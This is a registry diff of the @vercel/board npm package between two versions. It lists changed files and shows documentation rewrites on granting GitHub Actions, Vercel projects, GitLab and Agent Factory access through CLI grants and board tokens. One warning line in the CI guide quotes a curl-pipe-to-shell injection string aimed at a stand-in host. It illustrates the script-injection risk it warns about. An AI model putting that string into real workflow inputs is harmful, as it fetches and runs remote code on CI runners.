@vercel/board 0.31.0 → 0.33.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +25 -20
- package/dist/{access-CY5xVMIK.mjs → access-N3XmkKXg.mjs} +3 -3
- package/dist/access.d.mts +4 -5
- package/dist/access.mjs +5 -5
- package/dist/{actors-Bm-ojWWT.mjs → actors-ihyN47OV.mjs} +3 -3
- package/dist/{auth-DLYSt_-A.d.mts → auth-D6z3rMNj.d.mts} +11 -93
- package/dist/{auth-CyO2aw5n.mjs → auth-r-_PeZyw.mjs} +39 -151
- package/dist/{backend-Bob-5CM7.d.mts → backend-CWpyR1A7.d.mts} +81 -51
- package/dist/backend-local.d.mts +28 -0
- package/dist/backend-local.mjs +2 -0
- package/dist/{chat-provider-DkFp2hrh.mjs → chat-provider-9hCT654s.mjs} +2 -2
- package/dist/{chat-provider-BChYrrA7.d.mts → chat-provider-DJpFUaFv.d.mts} +2 -3
- package/dist/cli-commands.d.mts +1 -1
- package/dist/cli-commands.mjs +1 -1
- package/dist/cli-embedded.d.mts +2 -2
- package/dist/cli-embedded.mjs +2 -2
- package/dist/cli.mjs +6 -6
- package/dist/{commands-DK4W3HCJ.d.mts → commands-BOBQHVqM.d.mts} +14 -0
- package/dist/{commands-L1JSGz2Z.mjs → commands-CHoMl06v.mjs} +39 -12
- package/dist/{conformance-DK43HiHf.mjs → conformance-qKmGLTAT.mjs} +40 -5
- package/dist/conformance.d.mts +1 -1
- package/dist/conformance.mjs +1 -1
- package/dist/{engine-DurYIRt8.mjs → engine-JxgZiikU.mjs} +6 -8
- package/dist/{errors-CJXhhzvT.mjs → errors-Pk0XV1hK.mjs} +56 -2
- package/dist/{events-lujPA3gQ.mjs → events-IQg0k281.mjs} +2 -2
- package/dist/exports-BuKjVq2t.d.mts +4 -0
- package/dist/exports-gHDHlg0i.mjs +3207 -0
- package/dist/{external-D3p5T57R.mjs → external-CYe424fO.mjs} +1 -1
- package/dist/{folds-DLUzfibJ.d.mts → folds-DjFTiqIM.d.mts} +38 -44
- package/dist/index-CXvvYNYj.d.mts +11 -0
- package/dist/index.d.mts +9 -8
- package/dist/index.mjs +21 -8
- package/dist/index.node.d.mts +5 -6
- package/dist/index.node.mjs +3 -3
- package/dist/inspect/app.js +95 -95
- package/dist/{internal-CvsrprnU-zZMpDiRY.mjs → internal-CvsrprnU-CEPOUpAv.mjs} +63 -43
- package/dist/local-BbLjA5vI.mjs +8818 -0
- package/dist/{main-Dz-8komG.mjs → main-CQpCZJFw.mjs} +140 -36
- package/dist/{backend-a2/store-memory.mjs → memory-7RRnLa4X.mjs} +3 -3
- package/dist/middleware-BU7rVi9F.mjs +103 -0
- package/dist/{client-COfYrgfV.d.mts → provider-BlzUvcM9.d.mts} +665 -5
- package/dist/{schemas-DBmUO6pr.mjs → schemas-BG205xds.mjs} +2 -5
- package/dist/{serve-CTmow-YH.mjs → serve-D8_W4UN6.mjs} +33 -24
- package/dist/{node-BgeGcwX0.mjs → server-BiIUXWbU.mjs} +419 -6
- package/dist/{serving-DBFRo6U_.mjs → serving-D7rcUtSC.mjs} +1 -1
- package/dist/{sql-CT5xVuGr.mjs → sql-BQzKUqQt.mjs} +349 -114
- package/dist/sqlite-DCtZFEVm.mjs +30 -0
- package/dist/{sqlite-db-0WeSOEZN.mjs → sqlite-db-qLTs52Ny.mjs} +2 -3
- package/dist/{store-codec-pAG2oPgQ-SqDXlPBR.mjs → store-N8PXxDAS-BdL4Sq-f.mjs} +6 -2
- package/dist/{store-memory-B0PkVSuQ.mjs → store-memory-CKQVEzXN.mjs} +2 -4
- package/dist/store-memory-OdGsc-t_.mjs +2 -0
- package/dist/{store-polling-BZt2Rf3D-Div-bJ_D.mjs → store-polling-BZt2Rf3D-oh3aU_An.mjs} +1 -1
- package/dist/store-sqlite-CTxAVCcz.mjs +2 -0
- package/dist/{store-sqlite-D85t3tE7.mjs → store-sqlite-D6fIszST.mjs} +3 -4
- package/dist/sync-chat-sdk.d.mts +2 -2
- package/dist/sync-chat-sdk.mjs +2 -2
- package/dist/sync-github.d.mts +2 -2
- package/dist/sync-github.mjs +2 -2
- package/dist/sync-linear.d.mts +2 -3
- package/dist/sync-linear.mjs +2 -2
- package/dist/sync-slack.d.mts +3 -3
- package/dist/sync-slack.mjs +4 -4
- package/dist/sync.d.mts +2 -2
- package/dist/sync.mjs +2 -2
- package/dist/{watchers-hash-BjwlnGD9.mjs → targets-CknPGGVi.mjs} +40 -10
- package/dist/{tokens-Dnyd_y1n.mjs → tokens-DPKjl3jf.mjs} +15 -43
- package/docs/01-board/01-mounting.md +243 -288
- package/docs/01-board/03-identity.md +41 -50
- package/docs/01-board/04-messages.md +19 -16
- package/docs/01-board/05-reading.md +3 -3
- package/docs/01-board/06-watchers.md +58 -105
- package/docs/01-board/07-schedules.md +21 -41
- package/docs/01-board/08-middleware.md +11 -17
- package/docs/01-board/09-access.md +76 -313
- package/docs/01-board/10-local.md +81 -0
- package/docs/01-quickstart.md +49 -126
- package/docs/02-sync/01-overview.md +25 -80
- package/docs/02-sync/02-functions.md +10 -16
- package/docs/02-sync/03-slack.md +13 -26
- package/docs/02-sync/04-github.md +8 -20
- package/docs/02-sync/07-linear.md +6 -10
- package/docs/03-guides/02-inspector.md +3 -3
- package/docs/03-guides/03-ci.md +88 -128
- package/docs/03-guides/04-triage.md +7 -15
- package/docs/03-guides/05-agent-factory.md +30 -36
- package/docs/04-reference/01-cli.md +118 -32
- package/docs/04-reference/02-board.md +60 -74
- package/docs/04-reference/03-http.md +119 -57
- package/docs/04-reference/05-conformance.md +31 -45
- package/docs/index.md +41 -65
- package/package.json +12 -83
- package/dist/a2-DngWY2Eb.mjs +0 -4238
- package/dist/access-DPcrKIH_.d.mts +0 -37
- package/dist/backend-a2/blob-vercel.d.mts +0 -8
- package/dist/backend-a2/blob-vercel.mjs +0 -81
- package/dist/backend-a2/contract.d.mts +0 -828
- package/dist/backend-a2/contract.mjs +0 -5
- package/dist/backend-a2/scheduler-local.d.mts +0 -11
- package/dist/backend-a2/scheduler-local.mjs +0 -2
- package/dist/backend-a2/scheduler-qstash.d.mts +0 -79
- package/dist/backend-a2/scheduler-qstash.mjs +0 -522
- package/dist/backend-a2/scheduler-vercel.d.mts +0 -38
- package/dist/backend-a2/scheduler-vercel.mjs +0 -204
- package/dist/backend-a2/store-memory.d.mts +0 -11
- package/dist/backend-a2/store-postgres.d.mts +0 -38
- package/dist/backend-a2/store-postgres.mjs +0 -2977
- package/dist/backend-a2/store-redis-http.d.mts +0 -17
- package/dist/backend-a2/store-redis-http.mjs +0 -520
- package/dist/backend-a2/store-redis.d.mts +0 -31
- package/dist/backend-a2/store-redis.mjs +0 -88
- package/dist/backend-a2/store-sqlite.d.mts +0 -12
- package/dist/backend-a2/store-sqlite.mjs +0 -31
- package/dist/backend-a2.d.mts +0 -2633
- package/dist/backend-a2.mjs +0 -3
- package/dist/backend-http-BRrRbjRx.d.mts +0 -672
- package/dist/backend-http-CvUKOn-m.mjs +0 -585
- package/dist/backend-http-D8mUzuKQ.mjs +0 -18
- package/dist/backend-http.d.mts +0 -10
- package/dist/backend-http.mjs +0 -2
- package/dist/backend-http.node.d.mts +0 -10
- package/dist/backend-http.node.mjs +0 -2
- package/dist/backend-vercel-Ba8JDtqW.mjs +0 -86
- package/dist/backend-vercel-BaSEUdwg.d.mts +0 -674
- package/dist/backend-vercel-CmY9yZ9m.mjs +0 -1656
- package/dist/backend-vercel.d.mts +0 -9
- package/dist/backend-vercel.mjs +0 -11
- package/dist/backend-vercel.node.d.mts +0 -17
- package/dist/backend-vercel.node.mjs +0 -2
- package/dist/blob-Bx8QPWEd.d.mts +0 -40
- package/dist/blob-WbB2DJKn.mjs +0 -201
- package/dist/errors-2vGs49Db.d.mts +0 -16
- package/dist/exports-CWIdN0Ub.mjs +0 -1389
- package/dist/exports-FBOQWT7O.d.mts +0 -5
- package/dist/files-SniSmeEr.mjs +0 -47
- package/dist/folds-Cu9Q9zyQ.mjs +0 -207
- package/dist/index-Ho-ayyQL.d.mts +0 -11
- package/dist/index.default-BUcwDaAe.mjs +0 -12
- package/dist/local-C76Fy5ad.mjs +0 -44
- package/dist/middleware-BavYSDUa.mjs +0 -62
- package/dist/platform-B4TnJtWu-Do3agKr5.mjs +0 -32
- package/dist/project-CQ4VUibA.mjs +0 -124
- package/dist/provider-gynDUoyW.d.mts +0 -665
- package/dist/redis-tables-DHf85ixI.mjs +0 -3895
- package/dist/reducer-Bswr11ar-P324o9vn.mjs +0 -74
- package/dist/reducer-CYPHsSmd-BXjGiptm.d.mts +0 -170
- package/dist/reducers-DcENwtwZ.mjs +0 -538
- package/dist/retryable-lazy-DZWmHpii-DpTc5PIP.mjs +0 -19
- package/dist/scheduler-task-X1SToDjP-D2Il2rln.mjs +0 -69
- package/dist/server-B9gu0qi1-DI1WvcVK.d.mts +0 -391
- package/dist/server-DG8D6VV0.mjs +0 -17
- package/dist/server-DX7mM6nm-D7N_7bug.mjs +0 -3611
- package/dist/session-clear-XJYpmUpg-2q8l_FJR.mjs +0 -63
- package/dist/store-DEzcHZOA-B-5vhxef.d.mts +0 -540
- package/dist/store-N8PXxDAS-DWWgv-Vz.mjs +0 -5
- package/dist/store-memory-4IBl0Ztu.mjs +0 -2
- package/dist/store-presence-polling-JuAy2Ck2-Dh-g_KYM.mjs +0 -109
- package/dist/store-sqlite-iBTYYKBj.mjs +0 -2
- package/dist/stream-buffer-DrTyiIuo-Be10yOBR.mjs +0 -53
- package/dist/targets-Cgjs29T0.mjs +0 -33
- package/dist/types-CmrFjpml.d.mts +0 -102
- package/dist/wait-until-Dw4XrIDQ.mjs +0 -42
- package/docs/01-board/02-database.md +0 -258
- package/docs/04-reference/04-log.md +0 -247
- package/sql/postgres/board.sql +0 -145
- package/sql/postgres/notifications.sql +0 -24
- package/sql/postgres/schema.sql +0 -451
package/docs/03-guides/03-ci.md
CHANGED
|
@@ -44,54 +44,47 @@ jobs:
|
|
|
44
44
|
> like `$(curl evil.sh | sh)` runs as a command when it's interpolated into a
|
|
45
45
|
> script. This is GitHub's classic script-injection hole.
|
|
46
46
|
|
|
47
|
-
###
|
|
48
|
-
|
|
49
|
-
A
|
|
50
|
-
|
|
51
|
-
|
|
52
|
-
|
|
53
|
-
|
|
54
|
-
|
|
55
|
-
|
|
56
|
-
|
|
57
|
-
|
|
58
|
-
|
|
59
|
-
|
|
60
|
-
backend: a2({ store: postgres({ connectionString: process.env.DATABASE_URL! }) }),
|
|
61
|
-
access: [
|
|
62
|
-
githubActions({
|
|
63
|
-
repository: 'acme/www',
|
|
64
|
-
workflow: '.github/workflows/deploy.yml',
|
|
65
|
-
can: { 'errors-www': ['post', 'label'], deploys: ['read', 'post'] },
|
|
66
|
-
}),
|
|
67
|
-
],
|
|
68
|
-
})
|
|
69
|
-
export const GET = team.fetch, POST = team.fetch
|
|
47
|
+
### Let the workflow in
|
|
48
|
+
|
|
49
|
+
A workflow has no Vercel login, so it can't use the team's board in Vercel's
|
|
50
|
+
API by itself. A board that keeps [grants](../01-board/09-access.md#grants)
|
|
51
|
+
lets it in by its token: one on [`local()`](../01-board/10-local.md) that your
|
|
52
|
+
team serves in a long-running process, or a
|
|
53
|
+
[backend of your own](../01-board/01-mounting.md#a-backend-of-your-own).
|
|
54
|
+
Vercel's board doesn't keep grants yet. Someone with `manage` in every channel
|
|
55
|
+
grants the repo's runs what they may do, with no deploy:
|
|
56
|
+
|
|
57
|
+
```text
|
|
58
|
+
$ vb grants create github --claim repository=acme/www --claim event_name=push --can 'errors-www=post,label;deploys=read,post'
|
|
59
|
+
granted g1
|
|
70
60
|
```
|
|
71
61
|
|
|
72
|
-
|
|
73
|
-
|
|
74
|
-
|
|
75
|
-
`acme/www`. A workflow
|
|
76
|
-
|
|
62
|
+
The grant matches the token's `repository` and `event_name`, each exactly, and
|
|
63
|
+
any other claim you add, such as `--claim ref=refs/heads/main`. A name given
|
|
64
|
+
twice is any of its values. The workflow writes as
|
|
65
|
+
`github:repo:<repository_id>`, with the handle `acme/www`. A workflow no grant
|
|
66
|
+
lets in gets a 403 whose hint is the grant to create:
|
|
67
|
+
`Grant it: vb grants create github --claim repository=acme/www`.
|
|
77
68
|
|
|
78
|
-
|
|
79
|
-
the step above, and reads and posts in `deploys`, which the wait below
|
|
80
|
-
`
|
|
81
|
-
[Access](../01-board/09-access.md) for the
|
|
69
|
+
`--can` says what it may do where. This one posts and labels in `errors-www`,
|
|
70
|
+
for the step above, and reads and posts in `deploys`, which the wait below
|
|
71
|
+
needs. `errors-www=post` alone would start threads and read nothing. Quote it:
|
|
72
|
+
`;` ends a command in a shell. See [Access](../01-board/09-access.md) for the
|
|
73
|
+
permissions and patterns.
|
|
82
74
|
|
|
83
75
|
> [!NOTE]
|
|
84
|
-
> A repo's workflows share one principal, so
|
|
85
|
-
>
|
|
86
|
-
>
|
|
87
|
-
> workflow that reads wrote.
|
|
76
|
+
> A repo's workflows share one principal, so runs that different grants let in
|
|
77
|
+
> are the same author. Where a run can't read, it changes and sees only what it
|
|
78
|
+
> wrote there without reading, never what the workflow that reads wrote.
|
|
88
79
|
|
|
89
80
|
> [!TIP]
|
|
90
|
-
> Keep
|
|
91
|
-
> workflow file from the PR's merge commit, so
|
|
92
|
-
> change what it posts. Its token carries
|
|
93
|
-
> it on `
|
|
94
|
-
>
|
|
81
|
+
> Keep `--can` narrow for grants that match `pull_request` runs. A
|
|
82
|
+
> `pull_request` run uses the workflow file from the PR's merge commit, so
|
|
83
|
+
> anyone who can open a PR can change what it posts. Its token carries
|
|
84
|
+
> `ref: refs/pull/<n>/merge`, so match it on `event_name`, not `ref`. A grant
|
|
85
|
+
> on `repository` alone matches every run in the repo, pull requests included.
|
|
86
|
+
> Fork PRs get no token at all. For PR activity,
|
|
87
|
+
> [GitHub sync](../02-sync/04-github.md) is usually the better tool.
|
|
95
88
|
|
|
96
89
|
### Wait for a person
|
|
97
90
|
|
|
@@ -108,7 +101,7 @@ npx -y @vercel/board wait --re "$id" --after "$id" --text "ship it" --timeout 30
|
|
|
108
101
|
too, if `deploys` mirrors a channel), or 1 when the timeout passes, which
|
|
109
102
|
fails the step.
|
|
110
103
|
|
|
111
|
-
### A protected
|
|
104
|
+
### A protected route
|
|
112
105
|
|
|
113
106
|
If the board's deployment is behind Vercel Deployment Protection, add the
|
|
114
107
|
project's bypass secret to the step's `env:` and the CLI sends it:
|
|
@@ -122,70 +115,13 @@ env:
|
|
|
122
115
|
|
|
123
116
|
## From a Vercel deployment
|
|
124
117
|
|
|
125
|
-
Code running on Vercel gets its token from the platform.
|
|
126
|
-
|
|
127
|
-
a preview can call itself. A production board's previews need a
|
|
128
|
-
`vercelProject({ project: 'self', environments: ['preview'], can })` rule.
|
|
129
|
-
Another project needs a rule too:
|
|
130
|
-
|
|
131
|
-
```ts app/api/board/[[...path]]/route.ts
|
|
132
|
-
import { board } from '@vercel/board'
|
|
133
|
-
import { vercelProject } from '@vercel/board/access'
|
|
134
|
-
import { a2 } from '@vercel/board/backend-a2'
|
|
135
|
-
import { postgres } from '@vercel/board/backend-a2/store-postgres'
|
|
136
|
-
|
|
137
|
-
const team = board({
|
|
138
|
-
backend: a2({ store: postgres({ connectionString: process.env.DATABASE_URL! }) }),
|
|
139
|
-
access: [vercelProject({ project: 'marketing', environments: ['production'], can: { deploys: ['post'] } })],
|
|
140
|
-
})
|
|
141
|
-
export const GET = team.fetch, POST = team.fetch
|
|
142
|
-
```
|
|
143
|
-
|
|
144
|
-
`vercelProject()` matches a project by name or ID, and optionally its `team` and
|
|
145
|
-
`environments`. A name without `team` is a project on the board's own team;
|
|
146
|
-
for another team's project, pass its `team` or use the project's ID. In that
|
|
147
|
-
project, a handle on the team's board mints the token itself:
|
|
148
|
-
|
|
149
|
-
```ts app/api/deploy-hook/route.ts
|
|
150
|
-
import { board } from '@vercel/board'
|
|
151
|
-
import { http } from '@vercel/board/backend-http'
|
|
152
|
-
|
|
153
|
-
const team = board({ backend: http('https://team.example/api/board') })
|
|
154
|
-
|
|
155
|
-
export async function POST(request: Request) {
|
|
156
|
-
const { sha } = await request.json()
|
|
157
|
-
// here's where you'd check who's calling
|
|
158
|
-
await team.post('deploys', { text: `marketing ${sha} is live`, id: `deploy-${sha}` })
|
|
159
|
-
return Response.json({ ok: true })
|
|
160
|
-
}
|
|
161
|
-
```
|
|
162
|
-
|
|
163
|
-
It posts as `vercel:project:<project_id>:production`, with the project's name
|
|
164
|
-
as its handle (`marketing`, or `marketing@preview` outside production).
|
|
165
|
-
|
|
166
|
-
If the board is behind Deployment Protection, its project trusts this one with
|
|
167
|
-
Trusted Sources, as for an [Agent Factory](./05-agent-factory.md#trust-the-factory).
|
|
168
|
-
The SDK never sends this project's own `VERCEL_AUTOMATION_BYPASS_SECRET` to
|
|
169
|
-
another project's board.
|
|
170
|
-
|
|
171
|
-
## From your own routes
|
|
118
|
+
Code running on Vercel gets its token from the platform. `board()` with no
|
|
119
|
+
backend is the team's board, reached with the deployment's OIDC token:
|
|
172
120
|
|
|
173
|
-
|
|
174
|
-
returns is the handle, which acts in-process:
|
|
175
|
-
|
|
176
|
-
```ts app/api/board/[[...path]]/route.ts
|
|
121
|
+
```ts app/api/deploys/route.ts
|
|
177
122
|
import { board } from '@vercel/board'
|
|
178
|
-
import { a2 } from '@vercel/board/backend-a2'
|
|
179
|
-
import { postgres } from '@vercel/board/backend-a2/store-postgres'
|
|
180
123
|
|
|
181
|
-
const
|
|
182
|
-
|
|
183
|
-
export const team = board({ backend })
|
|
184
|
-
export const GET = team.fetch, POST = team.fetch
|
|
185
|
-
```
|
|
186
|
-
|
|
187
|
-
```ts app/api/deploys/route.ts
|
|
188
|
-
import { team } from '@/app/api/board/[[...path]]/route'
|
|
124
|
+
const team = board()
|
|
189
125
|
|
|
190
126
|
export async function POST(request: Request) {
|
|
191
127
|
const delivery = await request.json()
|
|
@@ -195,49 +131,59 @@ export async function POST(request: Request) {
|
|
|
195
131
|
}
|
|
196
132
|
```
|
|
197
133
|
|
|
198
|
-
- **It writes as `
|
|
199
|
-
`
|
|
200
|
-
|
|
134
|
+
- **It writes as its project,** `vercel:project:<project_id>:production`, and
|
|
135
|
+
`team.as('deploys')` as `vercel:project:<project_id>:production+deploys`.
|
|
136
|
+
Profiles start with a letter and use up to 32 letters, numbers, and hyphens.
|
|
137
|
+
- **Vercel's API lets it in once the board is granted** to the project, in the
|
|
138
|
+
environment it runs in. Until then the team's default board fails with 404
|
|
139
|
+
`no_board`, and a named one with 403 `board_not_granted`. The project's own
|
|
140
|
+
code makes a board the first time it names one the team doesn't have: see
|
|
141
|
+
[A board by its name](../01-board/01-mounting.md#a-board-by-its-name).
|
|
201
142
|
- **An `id` makes a post idempotent.** The same `id` from the same handle
|
|
202
143
|
never posts twice, so a redelivered webhook is harmless.
|
|
203
|
-
- **Its writes are like anyone's
|
|
144
|
+
- **Its writes are like anyone's,** and wake
|
|
204
145
|
[watchers](../01-board/06-watchers.md).
|
|
205
146
|
|
|
206
147
|
See [Mounting](../01-board/01-mounting.md#the-handle) for the rest of the
|
|
207
|
-
handle.
|
|
148
|
+
handle. With `BOARD_URL` set, `board()` takes the deployment's OIDC token to
|
|
149
|
+
the board at that URL the same way. There, a project other than the board's
|
|
150
|
+
own needs a grant, for its ID and the environment it runs in:
|
|
151
|
+
|
|
152
|
+
```text
|
|
153
|
+
$ vb grants create vercel --claim project_id=prj_deploys --claim environment=production --can deploys=post
|
|
154
|
+
granted g2
|
|
155
|
+
```
|
|
156
|
+
|
|
157
|
+
A project on another team takes a [board token](#from-anywhere-else) instead,
|
|
158
|
+
until cross-team access exists. Behind Deployment Protection, the board's
|
|
159
|
+
project trusts this one with Trusted Sources, as for an
|
|
160
|
+
[Agent Factory](./05-agent-factory.md#trust-the-factory). The SDK never sends
|
|
161
|
+
this project's own `VERCEL_AUTOMATION_BYPASS_SECRET` to another project's board.
|
|
208
162
|
|
|
209
163
|
## From anywhere else
|
|
210
164
|
|
|
211
165
|
`BOARD_TOKEN` takes a token you minted yourself, and the CLI and `board()`
|
|
212
|
-
send it as is. It must be one the board verifies:
|
|
213
|
-
|
|
214
|
-
|
|
215
|
-
|
|
216
|
-
|
|
166
|
+
send it as is. It must be one the board at `BOARD_URL` verifies: an OIDC token
|
|
167
|
+
whose audience is the board's URL, from the board's own project or a caller a
|
|
168
|
+
[grant](../01-board/09-access.md#grants) lets in, or a
|
|
169
|
+
[board token](../01-board/09-access.md#tokens) from `vb tokens create`.
|
|
170
|
+
Discovery tells you the audience:
|
|
217
171
|
|
|
218
172
|
```bash
|
|
219
173
|
# in a terminal:
|
|
220
174
|
curl -s https://team.example/api/board | jq -r .audience
|
|
221
175
|
```
|
|
222
176
|
|
|
223
|
-
Another CI's tokens work through
|
|
224
|
-
claims to match
|
|
225
|
-
`vb grants create https://gitlab.com --claim project_path=acme/api --claim ref=main --can deploys=post`.
|
|
226
|
-
In GitLab, a job's `id_tokens` with the board's audience is the token:
|
|
177
|
+
Another CI's tokens work through a grant that names its issuer by URL, with
|
|
178
|
+
the claims to match:
|
|
227
179
|
|
|
228
|
-
```
|
|
229
|
-
|
|
230
|
-
|
|
231
|
-
import { a2 } from '@vercel/board/backend-a2'
|
|
232
|
-
import { postgres } from '@vercel/board/backend-a2/store-postgres'
|
|
233
|
-
|
|
234
|
-
const team = board({
|
|
235
|
-
backend: a2({ store: postgres({ connectionString: process.env.DATABASE_URL! }) }),
|
|
236
|
-
access: [oidc({ issuer: 'https://gitlab.com', claims: { project_path: 'acme/api', ref: 'main' }, can: { deploys: ['post'] } })],
|
|
237
|
-
})
|
|
238
|
-
export const GET = team.fetch, POST = team.fetch
|
|
180
|
+
```text
|
|
181
|
+
$ vb grants create https://gitlab.com --claim project_path=acme/api --claim ref=main --can deploys=post
|
|
182
|
+
granted g3
|
|
239
183
|
```
|
|
240
184
|
|
|
185
|
+
In GitLab, a job's `id_tokens` with the board's audience is the token:
|
|
186
|
+
|
|
241
187
|
```yaml .gitlab-ci.yml
|
|
242
188
|
notify:
|
|
243
189
|
variables:
|
|
@@ -249,6 +195,20 @@ notify:
|
|
|
249
195
|
- npx -y @vercel/board post deploys "api $CI_COMMIT_SHORT_SHA is live"
|
|
250
196
|
```
|
|
251
197
|
|
|
198
|
+
A caller with no OIDC token, or one on another team, takes a board token.
|
|
199
|
+
Someone on the board's team mints it, narrowed to what the caller needs, and
|
|
200
|
+
the caller sends it as `BOARD_TOKEN`:
|
|
201
|
+
|
|
202
|
+
```bash
|
|
203
|
+
# in a terminal, with BOARD_URL set to the board:
|
|
204
|
+
vb tokens create deploy-notifier --can deploys=post --profile deploys --expires 90d
|
|
205
|
+
```
|
|
206
|
+
|
|
207
|
+
It prints the secret once, so store it where the caller reads its secrets.
|
|
208
|
+
It acts as you, narrowed to `deploys=post`, and every post with it is written
|
|
209
|
+
as your `deploys` profile. It lives 90 days at most. `vb tokens` lists it, and
|
|
210
|
+
`vb tokens revoke` stops it.
|
|
211
|
+
|
|
252
212
|
The CLI looks for a token in this order: `BOARD_TOKEN`, a local board's
|
|
253
213
|
(`vb serve`), GitHub Actions, the Vercel runtime, then your `vercel login`. See
|
|
254
214
|
[Identity](../01-board/03-identity.md) for how each one maps to a principal.
|
|
@@ -103,17 +103,10 @@ print, durably, with retries.
|
|
|
103
103
|
|
|
104
104
|
```ts app/api/board/[[...path]]/route.ts
|
|
105
105
|
import { board } from '@vercel/board'
|
|
106
|
-
import {
|
|
107
|
-
import { vercelQueues } from '@vercel/board/backend-a2/scheduler-vercel'
|
|
108
|
-
import { postgres } from '@vercel/board/backend-a2/store-postgres'
|
|
109
|
-
|
|
110
|
-
const backend = a2({
|
|
111
|
-
store: postgres({ connectionString: process.env.DATABASE_URL! }),
|
|
112
|
-
scheduler: vercelQueues({ topic: 'board' }),
|
|
113
|
-
})
|
|
106
|
+
import { local } from '@vercel/board/backend-local'
|
|
114
107
|
|
|
115
108
|
const team = board({
|
|
116
|
-
backend,
|
|
109
|
+
backend: local(),
|
|
117
110
|
// sync: { slack: slack('slack/acme', channels({ '#firehose': 'firehose' })) },
|
|
118
111
|
watch: {
|
|
119
112
|
triage: {
|
|
@@ -132,7 +125,6 @@ const team = board({
|
|
|
132
125
|
},
|
|
133
126
|
})
|
|
134
127
|
export const GET = team.fetch, POST = team.fetch
|
|
135
|
-
export const { scheduler } = backend
|
|
136
128
|
```
|
|
137
129
|
|
|
138
130
|
- **`event` is exactly what `vb tail --json` prints.** Debug a watcher by
|
|
@@ -144,11 +136,11 @@ export const { scheduler } = backend
|
|
|
144
136
|
- **A watcher's own writes never wake it.** Writes by other watchers do, so
|
|
145
137
|
two watchers that answer each other loop.
|
|
146
138
|
|
|
147
|
-
|
|
148
|
-
|
|
149
|
-
|
|
150
|
-
|
|
151
|
-
[
|
|
139
|
+
The board is on `local()` because `firehose` mirrors Slack, and Vercel's board
|
|
140
|
+
doesn't run sync yet: a board with `sync` runs in a long-running process,
|
|
141
|
+
whose timers retry a `run` that fails. A watcher on a channel nothing syncs
|
|
142
|
+
runs on your team's board as it is, `board({ watch })`: see
|
|
143
|
+
[Watchers](../01-board/06-watchers.md).
|
|
152
144
|
|
|
153
145
|
## 4. Hand reports to an agent
|
|
154
146
|
|
|
@@ -6,7 +6,7 @@ description: Give hosted Factory workflows a persistent collaboration board with
|
|
|
6
6
|
## One collaboration surface
|
|
7
7
|
|
|
8
8
|
A Factory uses a team's board like any other client, through its
|
|
9
|
-
`/api/board`. It needs no endpoint
|
|
9
|
+
`/api/board`. It needs no endpoint or storage of its own, and people
|
|
10
10
|
read its discussions in the board's inspector. Factory discussions live in
|
|
11
11
|
namespaced `factory/...` channels, and its posts use `noSync: true`, so they
|
|
12
12
|
stay on the board even in a channel that syncs. Keep the board's watcher
|
|
@@ -17,41 +17,34 @@ reaches no platform, whatever its labels.
|
|
|
17
17
|
|
|
18
18
|
There are two independent checks. Configure both on the board's project.
|
|
19
19
|
|
|
20
|
-
1.
|
|
21
|
-
|
|
22
|
-
|
|
23
|
-
|
|
24
|
-
|
|
25
|
-
|
|
26
|
-
|
|
27
|
-
|
|
28
|
-
|
|
29
|
-
|
|
30
|
-
backend: a2({ store: postgres({ connectionString: process.env.DATABASE_URL! }) }),
|
|
31
|
-
access: [
|
|
32
|
-
// The Factory reads and posts everywhere, and labels only its own discussions.
|
|
33
|
-
vercelProject({
|
|
34
|
-
project: 'prj_FACTORY_ID',
|
|
35
|
-
environments: ['production'],
|
|
36
|
-
can: { '*': ['read', 'post'], 'factory/': ['read', 'post', 'label'] },
|
|
37
|
-
}),
|
|
38
|
-
],
|
|
39
|
-
})
|
|
40
|
-
export const GET = team.fetch, POST = team.fetch
|
|
20
|
+
1. A [grant](../01-board/09-access.md#grants) names the Factory's project by
|
|
21
|
+
its ID, with the environment it calls from. Someone with `manage` in every
|
|
22
|
+
channel creates it on the board, a board that keeps grants: one on
|
|
23
|
+
[`local()`](../01-board/10-local.md) or a
|
|
24
|
+
[backend of your own](../01-board/01-mounting.md#a-backend-of-your-own).
|
|
25
|
+
Vercel's board doesn't keep grants yet.
|
|
26
|
+
|
|
27
|
+
```text
|
|
28
|
+
$ vb grants create vercel --claim project_id=prj_FACTORY_ID --claim environment=production --can '*=read,post;factory/=read,post,label'
|
|
29
|
+
granted g1
|
|
41
30
|
```
|
|
42
31
|
|
|
43
|
-
- **Name the project by its ID.**
|
|
44
|
-
|
|
45
|
-
|
|
46
|
-
|
|
47
|
-
can mint its development tokens.
|
|
48
|
-
mean to.
|
|
32
|
+
- **Name the project by its ID.** The ID above is a placeholder.
|
|
33
|
+
- **Name the environment.** A Vercel grant names one, since a preview runs any
|
|
34
|
+
branch's code, and another environment is another grant. Add preview or
|
|
35
|
+
development only when you mean to: anyone who can access the Factory's
|
|
36
|
+
project can mint its development tokens.
|
|
49
37
|
- **The grant reads and posts in every channel,** and labels only in
|
|
50
38
|
`factory/`, since a Factory post carries labels. It never reacts or syncs.
|
|
39
|
+
- **A Factory on another team has only a board token,** until cross-team
|
|
40
|
+
access exists. Someone on the board's team mints it with the same scope:
|
|
41
|
+
`vb tokens create factory --can '*=read,post;factory/=read,post,label' --profile factory --expires 90d`.
|
|
42
|
+
It acts as its minter, narrowed, and writes as their `factory` profile. It
|
|
43
|
+
lives 90 days at most, so mint the next one before it expires.
|
|
51
44
|
- **Edits and deletes go by principal.** Every run in an environment is one
|
|
52
|
-
principal, `vercel:project
|
|
53
|
-
|
|
54
|
-
scoped reads, posts, and replies.
|
|
45
|
+
principal, `vercel:project:prj_FACTORY_ID:production`, so a raw API client
|
|
46
|
+
in any run could edit or delete what another run posted. The Factory's tool
|
|
47
|
+
exposes only scoped reads, posts, and replies.
|
|
55
48
|
- **Nothing else changes.** The board's own people and deployments keep their
|
|
56
49
|
access.
|
|
57
50
|
|
|
@@ -71,8 +64,8 @@ for the current configuration UI and availability.
|
|
|
71
64
|
The Factory mints an audience-bound Vercel OIDC JWT and sends it in both
|
|
72
65
|
`Authorization: Bearer <JWT>` and `x-vercel-trusted-oidc-idp-token: <JWT>`.
|
|
73
66
|
The edge consumes the second header; the board verifies the first. No
|
|
74
|
-
protection-bypass secret is needed. A handle in Node on Vercel
|
|
75
|
-
|
|
67
|
+
protection-bypass secret is needed. A handle in Node on Vercel, `board()`
|
|
68
|
+
with `BOARD_URL` set to the board, sends both the same way, with
|
|
76
69
|
`BOARD_TOKEN` or the deployment's OIDC token for the board's URL. Local
|
|
77
70
|
people's clients don't add the second header.
|
|
78
71
|
|
|
@@ -85,9 +78,10 @@ never the secret. A hosted request the edge rejects fails with what trust to
